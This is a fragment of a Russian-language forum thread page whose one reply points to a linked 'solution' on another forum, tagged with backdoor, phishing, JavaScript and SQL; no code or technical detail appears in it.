Тут есть решение:
http://www.sql.ru/forum/actualthread.aspx?tid=572656
Tim вне форума   Ответить с цитированием
Ответ

Метки
backdoor, i'll be back, javascript, фишинг, sql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot